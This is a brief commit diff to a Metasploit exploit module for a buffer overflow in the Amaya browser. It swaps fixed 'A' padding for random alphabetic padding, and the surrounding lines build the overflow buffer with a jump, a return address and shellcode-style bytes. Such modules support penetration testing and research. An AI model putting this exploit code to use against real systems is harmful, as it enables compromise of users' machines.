Land rapid7#2960, rand_text_alpha for amaya_bdo

Author: wvu

modules/exploits/windows/browser/amaya_bdo.rb

@@ -54,7 +54,7 @@ def on_request_uri(cli, request)
 
     # Set the exploit buffer
     sploit = "<bdo dir=\""
-    sploit += "\x41" * 6889
+    sploit += rand_text_alpha(6889)
     sploit += "\x74\x06\x41\x41"
     sploit += [target.ret].pack('V')
     sploit += "\x68\x7f\x01\x01\x7f"   # push 7F01017F